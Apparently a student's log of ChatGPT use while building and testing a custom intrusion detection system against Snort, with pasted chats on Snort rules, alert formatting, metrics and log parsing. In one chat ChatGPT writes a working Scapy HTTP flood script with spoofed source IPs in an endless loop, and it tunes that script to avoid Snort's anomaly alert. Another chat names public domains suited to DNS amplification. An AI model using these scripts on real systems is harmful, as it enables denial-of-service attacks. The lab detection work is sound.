

ChatGPT used for:

- Figuring out why our custom IDS was generating alerts more than Snort; found out that Snort is limited to an alert whenever the threshold is exceeded, limited to once within the time window, whereas my detection code generated an alert every time the threshold is exceeded, regardless of the time window; fixed this
 - Generating functions that calculate whether events have exceeded threshold, and whether similar events occurred in the same time window.
 - Checking if attack and detection codes make sense conceptually
 - Suggesting defaultdict and deque (in both HTTP flood and SSH brute force detection scripts) to keep track of requests and events, associating them with source & destination IP addresses
-

IDS uses of AI:

1- For File name IDS:

used AI to see how to run all process function together --> Thread part line 51 to 56

2- In main_config_file:

Used AI to write function that output alert message, and one for rule (To have message in good display structure) --> line 48 to 54

If statement from line 70 to 74

3- Used AI to understand what time represent in snort message to handle it in our custom IDS

4- For attack: the provided step is not applied as its this is just to be sure has the correct steps.

4.1- Ask For all required steps to detect arp spoof --> This is done to be sure to not miss a step.

Output of GPT:

1. Monitor ARP Traffic: Capture ARP requests and replies on the network.
2. Track IP-to-MAC Mappings: Maintain a list of IP-MAC associations from ARP packets.
3. Check for Multiple MAC Addresses for One IP: Detect if multiple MAC addresses are associated with the same IP address.
4. Detect Frequent ARP Replies: Look for high-frequency ARP replies from a single source.
5. Check ARP Request and Reply Consistency: Identify unsolicited ARP replies or those from unexpected sources.
6. Set Static ARP Entries: Configure static ARP entries for key devices to detect changes.
7. Periodically Compare ARP Table: Compare the ARP table over time to find IPs with changing MAC addresses.
8. Set Thresholds for Alerts: Trigger alerts if an IP changes MAC addresses too frequently (e.g., 3 times in 10 minutes).

9. Detect Behavioral Anomalies: Flag unusual ARP traffic patterns, such as many ARP replies in a short time.

4.2 - Ask for required step for DNS amplification detection:

output of GPT:

1. Monitor DNS Traffic Volume: Track query rates and response sizes.
2. Inspect Response Sizes: Identify large DNS responses (e.g., >512 bytes).
3. Check for Spoofed Source IPs: Look for mismatched source IP addresses.
4. Identify Repeated Queries: Detect frequent queries from the same IP.
5. Examine Query Types: Focus on "ANY" or 'TXT' queries.
6. Analyze Response-to-Request Ratios: Watch for high response-to-query ratios.
7. Set Rate-Limiting: Test thresholds for excessive DNS requests.
8. Use IDS/IPS: Implement detection using Snort or similar tools.

5- Used AI to Check if code has any concept error

6- ask for how to get operation for arp in scapy

For Attack:

1- ASK for DNS that reponce with extra data

Output:

1. dane.verisignlabs.com
2. sigok.verteiltesysteme.net
3. dns.google
4. openresolver.com

These domains support DNSSEC, which adds extra data to DNS responses, making them larger and suitable for amplification attacks.

For Read_me file: ask ChatGPT to give me a file that has main title, introduction, attack list (provide it with attack) and ask to put one line description, and an over all format --> then we apply changes on it

snort rule threshold should have 4 pairs for rule: alert tcp any any -> any 80 (msg:"HTTP Flood Attack Detected"; flow:to_server,established; content:"GET"; nocase; http_method; threshold:type both, track by_src, count 30, seconds 30; sid:1000001; rev:1;). fix this rule with correct snort syntax i am trying to detect the below http flood attack with a custom snort rule HTTP flood attack: http_flood.py: from scapy.all import IP, TCP, send, RandIP, RandShort from main_config import validate_ip, validate_port_or_http import time target_ip = validate_ip("Enter target IP: ") target_port = validate_port_or_http() def http_flood(target_ip, target_port): ip_layer =

```
IP(src=RandIP(), dst=target_ip) tcp_layer = TCP(sport=RandShort(), dport=int(target_port),
flags="A") http_payload = "GET / HTTP/1.1\r\nHost: {}.format(target_ip) packet =
ip_layer / tcp_layer / http_payload while True: send(packet, verbose=False) http_flood(target_ip,
target_port) snort rule: alert tcp any any -> any 80 (msg:"HTTP Flood Attack Detected";
flow:to_server,established; content:"GET"; nocase; http_method; threshold:type both, track
by_src, count 30, seconds 30; metadata: service http; sid:1000001; rev:1;) snort is not detecting
it.
```

ChatGPT said:

ChatGPT

To improve the Snort rule and ensure it detects the described HTTP flood attack, the syntax and logic need adjustments. Here's a corrected Snort rule:

plaintext

Copy code

```
alert tcp any any -> any 80 (msg:"HTTP Flood Attack Detected";
flow:to_server,established; content:"GET"; http_method; nocase;
threshold: type both, track by_src, count 30, seconds 30;
metadata:service http; sid:1000001; rev:2;)
```

Changes and Explanation:

1. Correct Placement of `http_method`:

- The `http_method` keyword is used to detect HTTP methods like GET, POST, etc. It must precede any other content modifiers like `nocase`.
- Order matters in Snort rules.

2. Threshold Correctness:

- The threshold syntax requires four parts: `type`, `track`, `count`, and `seconds`.
- `type both` counts events for both detection and suppression.
- `track by_src` ensures the count is specific to the source IP.
- `count 30` and `seconds 30` trigger an alert if 30 matching packets occur in 30 seconds from the same source.

3. Adding `metadata: service http`:

- Metadata helps categorize the rule for HTTP-related traffic.

4. Rule SID and Revision:

- Keep the `sid` unique (1000001 in this case) and increment the `rev` if you make changes.

Verifying Detection:

1. Ensure Proper Network Setup:

- The Snort sensor must monitor the traffic where the HTTP flood attack occurs.
 - Configure Snort to inspect traffic on the target machine's network interface.
2. **Adjust Snort Configuration:**
 - Ensure the HTTP preprocessors are enabled in `snort.conf` for detecting HTTP payloads correctly.
 - Verify Snort is running in the appropriate mode and inspecting the correct interface.
 3. **Traffic and Rule Testing:**
 - Use the `http_flood.py` script on the network being monitored by Snort.
 - Test with traffic directed to port 80 (HTTP). If the target port differs, adjust the rule's destination port.
 4. **Debugging and Logs:**

Run Snort in verbose mode or inspect logs for rule hits using:

bash

Copy code

```
snort -A console -q -c /etc/snort/snort.conf -i <interface>
```

- - Verify that packets are matching the rule.
5. **Alternative Debugging:**
 - Use a packet capture tool like Wireshark or tcpdump to confirm the HTTP flood packets are being sent and received as expected.

If Snort still fails to detect the flood, try testing the rule with reduced thresholds or simpler matching criteria to isolate potential issues in rule construction or traffic visibility.

4o

You said:

my rule now is: alert tcp any any -> any 80 (msg:"HTTP Flood Attack Detected"; flow:to_server,established; content:"GET"; http_method; nocase; threshold: type both, track by_src, count 30, seconds 30; metadata:service http; sid:1000001; rev:2;) but im still not getting alerts when i run http flood attack; i provided you with the code in the first message

ChatGPT said:

ChatGPT

To diagnose why your Snort rule isn't detecting the HTTP flood attack generated by your script, let's walk through potential causes and solutions:

Key Areas to Address

1. **Traffic Visibility:**

- Ensure Snort is monitoring the same network interface where the attack traffic is being generated and sent.

Use tools like `tcpdump` or Wireshark to verify the HTTP flood packets are reaching the target.

Example command to confirm traffic:

bash

Copy code

```
tcpdump -i <interface> tcp and port 80
```

○

2. Packet Structure in Script:

- Your `http_flood.py` script generates HTTP-like packets, but they may not conform to actual HTTP traffic.
- The payload `"GET / HTTP/1.1\r\nHost: {} \r\n\r\n".format(target_ip)` is being sent in a single TCP packet, which may not be parsed as valid HTTP by Snort.

Solution: Use a proper HTTP library or tweak the script to ensure packets simulate legitimate HTTP requests. For example:

python

Copy code

```
from scapy.all import *
from main_config import validate_ip, validate_port_or_http

target_ip = validate_ip("Enter target IP: ")
target_port = validate_port_or_http()

def http_flood(target_ip, target_port):
    ip_layer = IP(src=RandIP(), dst=target_ip)
    tcp_layer = TCP(sport=RandShort(), dport=int(target_port),
flags="S")
    http_payload = "GET / HTTP/1.1\r\nHost: {} \r\nUser-Agent:
Flooder\r\n\r\n".format(target_ip)

    for _ in range(50): # Send 50 packets
        send(ip_layer / tcp_layer / Raw(load=http_payload),
verbose=False)

http_flood(target_ip, target_port)
```

3.

4. Snort Configuration:

Verify that Snort's HTTP preprocessor is active. Check `snort.conf` for lines like:

plaintext

Copy code

```
preprocessor http_inspect: global
preprocessor http_inspect_server: server default ...
```

-
- Without the HTTP preprocessor, Snort might not detect or parse HTTP-related content.

5. Debugging the Rule:

Run Snort in test mode to check if your rule is being loaded correctly:

bash

Copy code

```
snort -T -c /etc/snort/snort.conf
```

-

Test a simplified rule to ensure basic packet detection. For example:

plaintext

Copy code

```
alert tcp any any -> any 80 (msg:"Testing HTTP Flood"; content:"GET";
sid:1000002; rev:1;)
```

-

Generate simpler traffic (e.g., using `curl` or `wget`) to confirm the rule works with valid HTTP requests:

bash

Copy code

```
curl http://<target_ip>:80/
```

-

6. Thresholds and Rule Logic:

If packets from the script are not being identified as separate events due to bundling or timing, adjust the rule for testing:

plaintext

Copy code

```
alert tcp any any -> any 80 (msg:"HTTP Flood Test";
flow:to_server,established; content:"GET"; sid:1000003; rev:1;)
```

- - This removes the threshold to confirm basic detection.
7. **Adjusting Detection Mechanism:**
- If detection still fails, try replacing `http_method` with just `content:"GET"`; as `http_method` requires correctly parsed HTTP traffic.
-

Step-by-Step Testing Plan

1. Run the modified script to generate traffic.
2. Use `tcpdump` or Wireshark to confirm HTTP packets with "GET /" are being sent.
3. Test Snort with a simpler rule (`content:"GET"` ;).
4. Gradually reintroduce elements (e.g., `flow`, `http_method`, thresholds) to pinpoint the issue.

Let me know how it goes or if you need more detailed assistance!

4o

You said:

running tcpdump on the correct interface showed packets containing GET, but snort gives me "bad loopback address" alert; why? how do i have it detect the attack?

2/2

ChatGPT said:

ChatGPT

The "bad loopback address" alert typically means that Snort has encountered packets with an invalid source IP address, often one starting with `127.0.0.1` or another reserved loopback range. Since you're using `RandIP()` in your attack script, the issue arises because the generated random IPs may include invalid or reserved addresses. Snort flags these as anomalies instead of triggering your custom rule

4o

You said:

how do i fix this from my attack script?

ChatGPT said:

ChatGPT

To fix the issue with random IPs (`RandIP()`) generating invalid or reserved addresses, you can modify the `http_flood.py` script to ensure only valid, routable IP addresses are used as source IPs. Here's how you can update the script:

Solution: Exclude Invalid IP Ranges

Scapy provides a way to generate random IPs, but you can add logic to filter out reserved or non-routable ranges like:

- 127.0.0.0/8 (Loopback)
- 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (Private IPs)
- 224.0.0.0/4 (Multicast)
- 240.0.0.0/4 (Reserved for future use)

Here's an updated script:

Updated `http_flood.py`

python

Copy code

```
from scapy.all import IP, TCP, send, RandShort
from main_config import validate_ip, validate_port_or_http
import random

target_ip = validate_ip("Enter target IP: ")
target_port = validate_port_or_http()

# Function to generate valid random IPs
def generate_valid_ip():
    while True:
        ip = ".".join(map(str, (random.randint(1, 255) for _ in
range(4))))
        octets = list(map(int, ip.split('.')))
        if (
            octets[0] != 127 and # Exclude loopback
            not (10 <= octets[0] <= 10) and # Exclude 10.0.0.0/8
            not (octets[0] == 172 and 16 <= octets[1] <= 31) and #
Exclude 172.16.0.0/12
            not (octets[0] == 192 and octets[1] == 168) and # Exclude
192.168.0.0/16
            not (224 <= octets[0] <= 239) and # Exclude multicast
            not (240 <= octets[0] <= 255) # Exclude reserved
        ):
            return ip
```



```
def http_flood(target_ip, target_port):
    while True:
        src_ip = generate_valid_ip() # Generate a valid random IP
        ip_layer = IP(src=src_ip, dst=target_ip)
        tcp_layer = TCP(sport=RandShort(), dport=int(target_port),
flags="A")
        http_payload = "GET / HTTP/1.1\r\nHost:
{}\r\n\r\n".format(target_ip)
        packet = ip_layer / tcp_layer / http_payload
        send(packet, verbose=False)

http_flood(target_ip, target_port)
```

Key Improvements:

1. **generate_valid_ip() Function:**
 - Ensures random IPs exclude invalid ranges.
 - Uses a whitelist-based approach to generate only routable addresses.
 2. **Incorporates Filtering Logic:**
 - Filters out reserved IP blocks like private, loopback, and multicast ranges.
-

Next Steps:

1. **Run http_flood.py:**
 - This will generate packets with valid source IPs.
2. **Verify with tcpdump:**
 - Confirm that packets are generated with valid source IPs.

Example command:

bash

Copy code

```
tcpdump -i <interface> tcp and port 80
```

○

3. **Test Snort Rule:**
 - Run Snort and check if it detects the HTTP flood attack using your custom rule.

Example command to test Snort:

bash

Copy code

```
snort -A console -c /etc/snort/snort.conf -i <interface>
```

4.

If the updated script resolves the issue, Snort should no longer raise "bad loopback address" alerts and should correctly detect the attack based on your custom rule. Let me know if further debugging is needed!

```
i am detecting http flood attack with both snort and a custom IDS script. snort rule: alert tcp any
any -> $HOME_NET 80 (msg:"HTTP Flood Attack Detected"; flow:to_server; content:"GET /
HTTP/1.1"; nocase; http_method; threshold:type both, track by_src, count 40, seconds 10;
metadata: service http; sid:1000001; rev:1;) sudo snort -T -i enp0s3 -c /etc/snort/snort.conf
custom script: from scapy.all import TCP, Raw, IP from collections import defaultdict import time
from main_config_file import log_to_file, log_error, read_file, get_variable # Dictionary to track
HTTP requests and last alert time http_request_tracker = defaultdict(list) last_alert_time = {} #
Tracks the last alert timestamp for each source IP RULES_FILE = "rules.json"
last_cleaned_time = time.time() def clean_request_tracker(time_window): global
last_cleaned_time if time.time() - last_cleaned_time > time_window: http_request_tracker.clear()
last_cleaned_time = time.time() def httpflood_processor(packet): global last_alert_time try: #
Ensure packet contains required layers if not (packet.haslayer(TCP) and packet.haslayer(Raw)
and packet.haslayer(IP)): return src_ip = packet[IP].src dst_ip = packet[IP].dst payload =
packet[Raw].load.decode("utf-8", errors="ignore") if "GET / HTTP/1.1" not in payload: return #
Load detection rules rules = read_file(RULES_FILE) threshold, time_window =
get_variable(rules, "tcp", "flood") if not threshold or not time_window: log_error("HTTP Flood
Detection: Invalid rules.") return current_time = time.time()
http_request_tracker[src_ip].append(current_time) # Remove timestamps outside the time
window http_request_tracker[src_ip] = [ t for t in http_request_tracker[src_ip] if current_time - t
<= time_window ] # Check if the threshold is exceeded if len(http_request_tracker[src_ip]) >
threshold: # Check cooldown period before logging if src_ip not in last_alert_time or
current_time - last_alert_time[src_ip] > time_window: alert_message = f"HTTP Flood Detected
from {src_ip} to {dst_ip}" log_to_file(alert_message) print(alert_message) last_alert_time[src_ip]
= current_time clean_request_tracker(time_window) except Exception as e: log_error(f"HTTP
Flood Detection Error: {e}") integrate last_alert_time = {} # In the alert generation block: if
len(store_http_flood_source[interaction_name]) >= threshold: if src_ip not in last_alert_time or
current_time - last_alert_time[src_ip] >= time_window: alert_message = f"HTTP Flood Detected
from {src_ip} to {dst_ip}" log_to_file(alert_message) print(alert_message) last_alert_time[src_ip]
= current_time custom ids logs: 2024-12-10 23:25:31 - HTTP Flood Detected from
50.74.128.190 to 10.0.2.15 2024-12-10 23:25:31 - HTTP Flood Detected from 50.74.128.190 to
10.0.2.15 2024-12-10 23:25:31 - HTTP Flood Detected from 50.74.128.190 to 10.0.2.15
2024-12-10 23:25:31 - HTTP Flood Detected from 50.74.128.190 to 10.0.2.15 2024-12-10
```

ChatGPT said:
ChatGPT

1. Threshold Handling

- **Custom IDS:**
 - Your custom IDS logs an alert **every time the threshold is exceeded**, regardless of whether previous alerts were already generated.
 - The implementation resets the alert mechanism once the condition is re-evaluated, potentially leading to multiple alerts in quick succession if many packets arrive within the time window.
 - The `clean_request_tracker` function may not be efficiently clearing old entries, contributing to redundant alerts within the same time window.
- **Snort:**

- Snort uses the `threshold` directive, which inherently includes mechanisms to avoid frequent repeated alerts.
 - In your rule, `threshold:type both, track by_src, count 40, seconds 10` ensures Snort raises an alert only once every 10 seconds if the source IP exceeds 40 packets within the interval. Subsequent detections during the same period are ignored for logging purposes.
-

2. Cooldown Period

- **Custom IDS:**
 - Your custom IDS uses a cooldown mechanism (`last_alert_time`) but may not be functioning correctly. For example:
 - It checks if the source IP is not in `last_alert_time` or if the cooldown period (`time_window`) has elapsed. However, alerts still appear to be logged in rapid succession for the same IP, suggesting either a logic flaw or race conditions in multithreaded environments.
 - Since multiple detections occur at the same timestamp (`23:25:31`), it indicates that `last_alert_time` is not correctly enforced.
 - **Snort:**
 - Snort inherently limits alert frequency using its thresholding directives, ensuring alerts for the same condition are not repeated until after the `seconds` parameter has elapsed.
-

3. Processing Speed

- **Custom IDS:**
 - The custom script processes packets in near real-time and immediately evaluates them against the rules.
 - Without batching or rate-limiting logic, your IDS can generate multiple logs for rapid events if packets arrive and are processed faster than the time window defined in the rules.
 - **Snort:**
 - Snort operates as a mature IDS/IPS and incorporates optimizations to reduce redundant alerts. It batches processing and uses built-in rate-limiting to avoid excessive logging for the same type of event.
-

Fixing the Custom IDS

To align your custom IDS's alert frequency with Snort:

1. Enforce Cooldown Strictly:

Ensure `last_alert_time` is properly updated after an alert is logged:

python

Copy code

```
if len(http_request_tracker[src_ip]) > threshold:
    if src_ip not in last_alert_time or current_time -
last_alert_time[src_ip] > time_window:
        alert_message = f"HTTP Flood Detected from {src_ip} to
{dst_ip}"
        log_to_file(alert_message)
        print(alert_message)
        last_alert_time[src_ip] = current_time
    else:
        return # Skip logging if within the cooldown
```

○

2. Adjust Cleaning Frequency:

- Increase the cleaning interval in `clean_request_tracker` to better manage old entries.

3. Aggregate Alerts:

- Log one alert per time window for each source IP, summarizing the total requests detected.

4. Rate-Limiting Alerts:

- Introduce a global rate limit or batch alerts to avoid generating too many logs simultaneously.

Conclusion

Snort's alert frequency is lower because of its built-in threshold handling and rate-limiting mechanisms, while your custom IDS is logging alerts for every threshold breach without sufficient cooldown enforcement or rate limiting. Enhancing your script as described will bring its behavior closer to Snort's.

40

You said:

thank you! now i want `alert_message` to resemble how snort prints alerts:

```
12/11-12:17:03.904022 [**] [1:1000003:1] HTTP flood attack detected! [**] [Priority: 0] {TCP}
64.18.171.219:11561 -> 10.0.2.9:80
```

ChatGPT said:

ChatGPT

To make your custom IDS `alert_message` resemble Snort's format, you can structure the log message as follows:

1. **Components of Snort Alert Format:**

- **Timestamp:** `12/11-12:17:03.904022`
- **Alert ID:** `[1:1000003:1]` (You can assign a fixed or dynamically generated ID for your alerts.)
- **Message:** `HTTP flood attack detected!`
- **Priority:** `[Priority: 0]` (Set a priority value if applicable.)
- **Protocol and Connection Details:** `{TCP} <source_ip>:<source_port> -> <destination_ip>:<destination_port>`

2. **Update `alert_message` Generation:** Modify your alert generation logic to match Snort's format. Here's how:

python

Copy code

```
from datetime import datetime
```

```
ALERT_ID = "1:1000003:1" # Static alert ID for now; can be made
dynamic.
```

```
PRIORITY = 0 # Priority level.
```

```
def format_alert_message(src_ip, src_port, dst_ip, dst_port,
protocol="TCP"):
    # Get the current timestamp in Snort's format
    timestamp = datetime.now().strftime("%m/%d-%H:%M:%S.%f")[:-3]
    # Format the alert message
    return (f"{timestamp}  [**] [{ALERT_ID}] HTTP flood attack
detected! [**] "
           f"[Priority: {PRIORITY}] {{{protocol}}}"
           f"{src_ip}:{src_port} -> {dst_ip}:{dst_port}")
```

```
# Example usage in your detection logic:
```

```
if len(http_request_tracker[src_ip]) > threshold:
```

```
    if src_ip not in last_alert_time or current_time -
last_alert_time[src_ip] > time_window:
```

```
        src_port = packet[TCP].sport
```

```
dst_port = packet[TCP].dport
alert_message = format_alert_message(src_ip, src_port, dst_ip,
dst_port)
log_to_file(alert_message)
print(alert_message)
last_alert_time[src_ip] = current_time
```

3. Explanation of Changes:

- The `format_alert_message` function constructs the alert in Snort's format.
- `datetime.now().strftime("%m/%d-%H:%M:%S.%f")[:-3]` generates the timestamp with microseconds truncated to match Snort.
- Static values like `ALERT_ID` and `PRIORITY` can be adjusted dynamically if you wish to handle multiple types of alerts.

4. Sample Output: When an HTTP flood is detected, the script will log:

less

Copy code

```
12/11-12:17:03.904022  [**] [1:1000003:1] HTTP flood attack detected!
[**] [Priority: 0] {TCP} 64.18.171.219:11561 -> 10.0.2.9:80
```

Let me know if you need further assistance implementing this!

ChatGPT 4o

assume i have some types of logs, i want to compute the f1 score, true positives, false positives, true negatives, false negatives, accuracy and recall and precision, can u provide python code for this and graphing it

Here's Python code to compute the required metrics and plot them:

Log Metrics Analysis

Edited

The updated code directly computes confusion matrix components and derives metrics such as precision, recall, accuracy, and F1 score. Let me know if you need further assistance!

i dont want confusion matrix, just f1, recall, precision, tn, fp, fn, tp, and plot them, assume i have the total number of packets and the number of detected packets

Edited

I've updated the code to compute only the required metrics (f1, recall, precision, tn, fp, fn, tp) based on the total number of packets and detected packets, and plot them accordingly. Let me know if you need further adjustments!

Message ChatGPT



ChatGPT can make mistakes. Check important info.

Log Metrics Analysis

```
4 def plot_combined_metrics(snort_metrics, custom_metrics, snort_detection, custom_detection, attack_type):
5     """
6     Function to plot both performance and detection metrics figure.
7     """
8     fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(15, 6))
9     # Plot performance metrics
10    performance_labels = list(snort_metrics.keys())
11    performance_values_snort = list(snort_metrics.values())
12    performance_values_custom = list(custom_metrics.values())
13    x = range(len(performance_labels))
14    width = 0.35
15    ax1.bar([i - width/2 for i in x], performance_values_snort, width, label='Snort', color='skyblue')
16    ax1.bar([i + width/2 for i in x], performance_values_custom, width, label='Custom IDS', color='lightgreen')
17    ax1.set_title('Performance Metrics - (attack_type.upper()) Attack')
18    ax1.set_ylabel('Value')
19    ax1.set_xticks(x)
20    ax1.set_xticklabels(performance_labels, rotation=45)
21    ax1.legend()
22    # Plot detection metrics
23    detection_metrics = ['True Positives', 'False Positives', 'True Negatives', 'False Negatives']
24    snort_detection_values = [snort_detection['tp'], snort_detection['fp'], snort_detection['tn'], snort_detection['fn']]
25    custom_detection_values = [custom_detection['tp'], custom_detection['fp'], custom_detection['tn'], custom_detection['fn']]
26    x = range(len(detection_metrics))
27    ax2.bar([i - width/2 for i in x], snort_detection_values, width, label='Snort', color='skyblue')
28    ax2.bar([i + width/2 for i in x], custom_detection_values, width, label='Custom IDS', color='lightgreen')
29    ax2.set_title('Detection Metrics - (attack_type.upper()) Attack')
30    ax2.set_ylabel('Number of Packets')
31    ax2.set_xticks(x)
32    ax2.set_xticklabels(detection_metrics, rotation=45)
33    ax2.legend()
34    plt.tight_layout()
35    plt.show()
36
37 def calculate_metrics(detected_packets, is_custom=False, total_packets=1000):
38     """
39     Function to compute basic metrics like Recall, Precision, and F1 Score.
40     """
41     true_positives = detected_packets
42     false_positives = 0 if is_custom else 0
43     recall = true_positives / total_packets
44     precision = true_positives / (true_positives + false_positives) if (true_positives + false_positives) > 0 else 0.0
45     f1_score = 2 * (precision * recall) / (precision + recall) if (precision + recall) > 0 else 0
46     metrics = {
47         'Recall': recall,
48         'Precision': precision,
49         'F1 Score': f1_score
```


provide regex parsing for these types of logs: 12/09-13:50:37.363531
[**] [1:1000005:1] ICMP Flood Detected [**] [Priority: 0] {ICMP}
192.168.21.238 -> 192.168.21.84, 12/09-17:44:36.552900 [**]
[1:1000004:1] DNS Flood Detected [**] [Priority: 0] {UDP} 8.8.8.8:53 -
> 192.168.0.105:57824, 12/09-23:01:42.493676 [**] [1:1000001:1]
Port scan detected [**] [Priority: 0] {TCP} 192.168.0.104:59663 ->
142.250.201.3:443



Here's a script that parses the provided logs:

python

Copy code

```
import re
from datetime import datetime

def parse_alert_line(line):
    # Regex pattern to match both timestamp formats and all details
    pattern = (
        r'(?:(\d{2}/\d{2}-\d{2}:\d{2}:\d{2}\.\d{6})|(\d{4}-\d{2}-\d{2}\s+\d{2}:\d{2}:\d{2}))'
        r'(?:(\[.*\]\s+\[\d+:\d+:\d+\]\s+)?(.*?)\s+'
        r'(?:(\[.*\]\s+\[Priority:\s+\d+\]\s+)?'
        r'((\w+)\s+'
        r'(\d+\.\d+\.\d+\.\d+)(?::(\d+))?\s+'
        r'(?:(->|->)\s+'
        r'(\d+\.\d+\.\d+\.\d+)(?::(\d+))?'
    )

    match = re.match(pattern, line)
    if match:
        # Determine timestamp format and parse
        timestamp = match.group(1) if match.group(1) else match.group(2)
```

Message ChatGPT



ChatGPT can make mistakes. Check important info.

```
match = re.match(pattern, line)
if match:
    # Determine timestamp format and parse
    timestamp, iso_timestamp = match.group(1), match.group(2)
    if timestamp:
        datetime_obj = datetime.strptime(timestamp, "%m/%d-%H:%M:%S.%f")
        formatted_datetime = datetime_obj.replace(year=2024).strftime("%Y-%m-%d %H:%M:%S.%f")
    else:
        formatted_datetime = datetime.strptime(iso_timestamp, "%Y-%m-%d %H:%M:%S.%f")

    # Extract remaining fields
    attack = match.group(3).strip()
    protocol = match.group(4)
    src_ip = match.group(5)
    src_port = match.group(6) or "N/A"
    dst_ip = match.group(7)
    dst_port = match.group(8) or "N/A"

    return {
        "datetime": formatted_datetime,
        "attack": attack,
        "protocol": protocol,
        "source_ip": src_ip,
        "source_port": src_port,
        "destination_ip": dst_ip,
        "destination_port": dst_port
    }

# If parsing fails, warn and return None
print(f"Warning: Unable to parse line: {line.strip()}")
return None
```

[Copy code](#)

Message ChatGPT



ChatGPT can make mistakes. Check important info.